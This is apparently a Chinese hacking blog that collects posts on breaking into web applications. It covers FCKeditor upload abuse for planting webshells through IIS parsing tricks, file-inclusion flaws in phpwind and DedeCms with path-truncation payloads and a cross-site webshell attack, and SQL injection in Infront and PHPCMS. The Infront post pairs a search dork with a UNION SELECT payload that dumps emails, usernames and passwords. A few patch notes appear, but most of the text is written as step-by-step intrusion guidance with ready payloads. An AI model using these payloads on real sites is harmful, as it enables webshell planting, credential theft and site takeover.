www.51xiaofeng.com
漏洞
Fckeditor利用总结
八 25th
Fckeditor版本多..支持很多语言..所以本文不针对任何版本或者什么语言.只讲利用方法
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.Asp
当你知道fckeditor目录时..你输入以上地址..就会看到有个上传的地方..如图所示:
这里有个上传的地方…老版本的fckeditor可以上传.Asa后缀的文件(也就是你的马) 如
果不行的话…我们可以利用iis的路径解析漏洞.建一个hx.Asp的目录.再这目录下上传马
还可以上传“图片”.这里指的图片是.Jpg格式后缀的马(结合iis6.0的解析漏洞
hx.Asp;.Jpg)以上效果如图所示:
因为版本的不同..有些管理员会把一些没用的目录删除..比如我是aspx的站..就会把asp.Php的目录删了..
那么这时候自己就要改..fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
改成这样是一样的..也有时候有的站会把asp破坏掉..而这时假到aspx php都没有做任何
破坏..所以有时修自己多跳下目录..browser.html?Type=Image这里image是表示类型..
如果你打不开fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.Asp里..可以试着打开
fckeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/asp/connector.Asp
..Type类型可以自己改.我没碰到过..
fckeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.Asp
这样的可以跳到根目录…很少碰到…不过也不是不存在这样的站…这里也可以把全站目
录列出来..
那么这样都被破坏了..也都不行了…那要怎么办呢..在connectors目录下有个test.Html
文件..那里也可以上传..可以上传任意文件他都会返回一个地址给你..如图所示:
虽然是
返回不允许上传的类型..但还是会返回地址..那个路径是在下面框里查看源文件得到的…
上传cer有时候也行.hx.Jpg;hx.Jpg 都行…在test.Html页面里有几个地方要注意..
Connector 也就是Connector=connectors/asp/connector.Asp是一个样的哈..有aspx php
等..其实都只是调用..如果asp不行..换aspx php 同上方法…还有一个是本地构造上传
的源码如下:
<form id=”frmUpload” enctype=”multipart/form-data” action=”http://www.xxx.com.cn/fckeditor/editor/filemanager/browser/default/connectors/asp/upload.asp?Type=Media” method=”post”>
Upload a new file:<br>
<input type=”file” name=”NewFile” size=”50″><br>
<input id=”btnUpload” type=”submit” value=”Upload”>
</form>
没了test.Html这里也还可以上传..一样的效果..有些网站的connectors/asp/upload.Asp
所在的目录不一定相同…有的是fckeditor/editor/connectors/asp/upload.Asp这路径..
And so on 补上一个知识…有时候上传的木马名hx.Asp;hx.Jpg hx.Asp这个时候会被过
滤掉前面的.我们可以把.进行url编码下成%2E(成功机率没测试过)
下面就是找路径的方法了…上传上去的马别找不到路径那就完了..在
fckeditor/editor/目录下有个fckeditor.Html文件..我们访问如图所示:那么我们怎么找
上传马的路径呢??我们打开上面一个超链接的按钮..如图所示:
有个浏览服务器..我们打开.如图所示:
找到自己的马点两下你就会发现马的路径已经在你面前了…如图所示:
里面有个图片上传(同理)
那么要是没有这个fckeditor.Html 或者fckeditor.Html打开是“空白页面”呢?
我们还有种方法来列出目录..如图所示:
fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F 这是列出file目录的路径.有的可以列..当然版本不同
有的显示不同..也有的不能列出来..还有种是那个本地构造的上传怎么找马…当你按下
upload按钮时就会跳到一个页面..右键查看源文件就可以知道路径了…再还有网上的一
种用遨游浏览器的方法..比较麻烦…呵呵…还有种方法就是经验的老道了…也可以扫全
站目录来猜你马的目录路径…And so on
好了总结的也差不多了..如果我哪里没有总结到..请大家指出来… Php jsp等那些版本
的漏洞..精简版的国内很少了吧.国外的有蛮多的…这里都不提了…
phpwind 7.5 0day漏洞运用
六 26th
phpwind 7.5 Multiple Include Vulnerabilities
壹.api/class_base.php本地包含漏洞
1.描敘
api/class_base.php文件裏callback函數裏$mode變量沒有過濾導致任意包含本地文件,從而可以執行任意PHP命令.
2. 具體分析
api/class_base.php文件裏:
function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.’api/class_’ . $mode . ‘.php’)) {
return new ErrorMsg(API_MODE_NOT_EXISTS, “Class($mode) Not Exists”);
}
require_once(R_P.’api/class_’ . $mode . ‘.php’); //這裏
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, “Method($method of $mode) Not Exists”);
}
!is_array($params) &&$params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}
我們繼續跟壹下具體變量傳遞的過程. 上面的函數在run()裏有調用:
function run($request) {
$request = $this->strips($request);
if (isset($request['type']) &&$request['type'] == ‘uc’) {
$this->type = ‘uc’;
$this->apikey = $GLOBALS['uc_key'];//註意這個變量也是該漏洞的關鍵
} else {
$this->type = ‘app’;
$this->apikey = $GLOBALS['db_siteownerid'];
$this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == ‘app’ &&!$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, ‘App Closed’);
}
***/
ksort($request);
reset($request);
$arg = ”;
foreach ($request as $key => $value) {
if ($value &&$key != ‘sig’) {
$arg .= “$key=$value&”;
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //註意這個判斷,需要繞過它.上面的代碼可以看的出來$this->apikey = $GLOBALS['uc_key'],和$request['sig']我們
//都可以操控,那麽很轻易繞過它
return new ErrorMsg(API_SIGN_ERROR, ‘Error Sign’);
}
$mode = $request['mode']; //取$mode 沒有過濾直接進入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
if (isset($params['appthreads'])) {
if (PHP_VERSION <5.2) {
require_once(R_P.’api/class_json.php’);
$json = new Services_JSON(true);
$params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
} else {
$params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
}
}
if ($params &&isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //調用callback ()
}
我們繼續看看run()函數的調用:
在pw_api.php文件裏:
$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的變量.
上面的分析是逆行分析了整個漏洞變量提交的過程,其實我們這個漏洞還包含壹次編碼與解碼的問:require_once(R_P.’api/class_’ . $mode . ‘.php’);這個需要繞過魔術引號才可以
包含轻易文件.我們註意看run()的第壹句
$request = $this->strips($request);
strips()的代碼:
function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //變量直接使用了stripslashes,那麽我們可以直接繞過魔術引號了 ![]()
}
return $param;
}
3.POC/EXP
缺
4.FIX
由於漏洞信息的外泄,官方針對這個漏洞已經做出了修補:
http://www.phpwind.net/read-htm-tid-914851.html
具體代碼:
require_once Pcv(R_P.’api/class_’ . $mode . ‘.php’);
function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(‘ http://’,”\0“); //過濾了http:// \0 意思是不讓遠程 不讓截斷
$ifcheck &&$tmparray[] = ‘..’; //過濾了.. 意思是不讓轉跳目錄
if (str_replace($tmparray,”,$tmpname)!=$tmpname) {
exit(‘Forbidden’);
}
return $filename;
}
從Pcv()可以看出來phpwind的補丁風格是很猥瑣的,單從這個pcv來看 還有很多的邏輯問題,比如http://這個過濾很搞笑,人家就不可以用ftp://? …
二.apps/share/index.php遠程包含漏洞
1.描敘
apps/share/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “share”) {
require_once $basePath . ‘/action/m_share.php’;
} elseif ($route == “sharelink”) {
require_once $basePath . ‘/action/m_sharelink.php’;
}
?>
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
三.apps/groups/index.php遠程包含漏洞
1.描敘
apps/groups/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “groups”) {
require_once $basePath . ‘/action/m_groups.php’;
} elseif ($route == “group”) {
require_once $basePath . ‘/action/m_group.php’;
} elseif ($route == “galbum”) {
require_once $basePath . ‘/action/m_galbum.php’;
}
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
最新消息 目前官方已經發布補丁http://www.phpwind.net/read-htm-tid-914851.html
Infront 程序存在SQL注入漏洞
六 26th
Infront 程序存在SQL注入漏洞,可获取管理权限。
批量:google:intext:Powered by Infront
漏洞页面 : breaking_news.php
Exploit Code : http://www.hackzhi.org/变量路径/breaking_news.php?newsid=union select 1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login
后台登入:
http://www.hackzhi.org/变量路径/login.php
演示:http://www.hackzhi.org/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login–
首发TheMaster
DedeCmsV5.6再爆0day 本地包含 鸡助0day漏洞
六 26th
DedeCmsV5.6 程序plus/carbuyaction.php 变量未初始化,造成本地文件包含漏洞。
代码:
<?php require_once (dirname(__FILE__) . “/../include/common.inc.php”); define(‘_PLUS_TPL_’, DEDEROOT.’/templets/plus’); require_once DEDEINC.’/dedetemplate.class.php’; require_once DEDEINC.’/shopcar.class.php’; require_once DEDEINC.’/memberlogin.class.php’; if($cfg_mb_open==’N') { ShowMsg(“系统关闭了会员功能,因此你无法访问此页面!”,”javascript:;”); exit(); } $cfg_ml = new MemberLogin(); if(!isset($dopost) || empty($dopost)){ //只要$dopost不为空就行,By:qing。 … }elseif($dopost == ‘return’){ require_once DEDEINC.’/payment/’.$code.’.php’; //变量$code未初始化, $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); } ?>
测试代码:http://www.hackqing.cn/plus/carbuyaction.php?dopost=return&code=../../
1、 plus/carbuyaction.php文件:
//漏洞出现下$dopost 为return的时候,$code变量没有被赋值,由于dedecms的全局机制可以任意给其赋值,从而带入包含,导致本地包含漏洞。
…
elseif($dopost == ‘return’){ //$code直接引入, require_once DEDEINC.’/payment/’.$code.’.php’; $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); }
…
2、 include/common.inc.php:
//无论是否打开magic_quotes_gpc,系统都对传进来的变量进行了addslashes处理,…
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; } //模拟register_globals,对_GET、_POST、_COOKIE全局化, foreach(Array(‘_GET ‘,’_POST’,'_COOKIE’) as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); }
…
三、漏洞利用
1. windows系统:
IIS或者某些apache版本下php文件系统可以进行路径截断,
可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2.linux系统:
1)apache某些版本php文件系统支持路径截断,于是同windows下,可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
利用方法同windows:
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2)旁注攻击
比如目标站是www.aaa.com,漏洞文件是:
http://www.aaa.com/ plus/carbuyaction.php
同服务器有个站点www.bbb.com可以轻松入侵,拿到webshell,但是由于权限控制,www.bbb.com站的webshell访问或者控制不了www.aaa.com,于是我们可以通过这个本地包含漏洞达到入侵www.aaa.com的目的。
1. 通过www.bbb.com上传一个webshell到/tmp文件夹下,比如文件名是shell.php;
2. 访问http://www.aaa.com/plus/carbuyaction.php?code=../../../../../../../tmp/shell则可以成功包含我们上传到临时文件夹下的webshell,由于当前是www.aaa.com的权限,则可以完全控制目标站点:www.aaa.com。
PHPCMS网站管理系统ADSCLASS.PHP页面过滤不严导致SQL注入漏洞
六 25th
添加时间:
2010-05-24
系统编号:
WAVDB-01629
影响版本:
phpcms2008sp4_UTF8_100510
程序介绍:
Phpcms是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。Phpcms 采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。3年来,凭借 Phpcms 团队长期积累的丰富的Web开发及数据库经验和勇于创新追求完美的设计理念,使得 Phpcms 得到了近10万网站的认可,并且越来越多地被应用到大中型商业网站
漏洞分析:
ads\include\ads.class.php
function edit($ads, $adsid, $username = ”) //110行
{
if(!$this->check_form($ads)) return FALSE;
$ads = $this->check_form($ads);
if(defined(‘IN_ADMIN’))
}
$ads['fromdate'] = strtotime($ads['fromdate']);
$ads['todate'] = strtotime($ads['todate']);
{
$this->adsid = $adsid;
$where = ‘ adsid=’.$this->adsid;
if($username) $where .= ” AND username=’$username’”;
return $this->db->update($this->table, $ads, $where);
}
Ads\member.php
if(!$c_ads->edit($info, $adsid, $_username)) showmessage($c_ads->msg(), ‘goback’); //47行
变量$adsid没有经过处理就直接进入SQL查询,造成SQL注入。
漏洞利用:
1、注册普通会员
2、 预定广告并修改adsid值从而进行SQL注入
解决方案:
厂商补丁:
PHPCMS
——-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpcms.cn/
信息来源:
<来源: Bug.Center.Team
商达讯商城购物系统4.01官方正式简体中文版漏洞
六 24th
网店系统简介:
该程序是用于建立独立网店系统,操作简便直观容易操作,同时完全开放代码方便客户根据自己需求做二次开发,此次升级主要提升了安全内核,特别是增加了适合淘宝拍拍店主开独立分店的淘宝拍拍数据库 导入功能。内置安装了支付宝|快钱|Qpay网上支付平台手机网上支付系统,后台自己操作填上帐号和校验码就可以用了,功能齐全,性能稳定,是功能强大的网店系统。
淘宝拍拍分店版最新亮点功能,改版程序增加了淘宝拍拍店数据导入快速同步建站功能,该功能可以快速实现淘宝拍拍店主快速同步建立自己独立品牌独立网店愿望,以便拓展自己独立的营销渠道和策略,应对淘宝拍拍等霸道的限制!
该导入组件使用方便,便于升级,是目前淘宝拍拍数据导入网店最先进的!!
测试时间:10-5-28
测试版本:4.01官方正式简体中文版
测试环境:winxp
测试漏洞:数据库没有做防下载处理,默认数据库#sdxshopmianfei#.mdb
老办法#改为%23即可下载%23sdxshopmianfei%23.mdb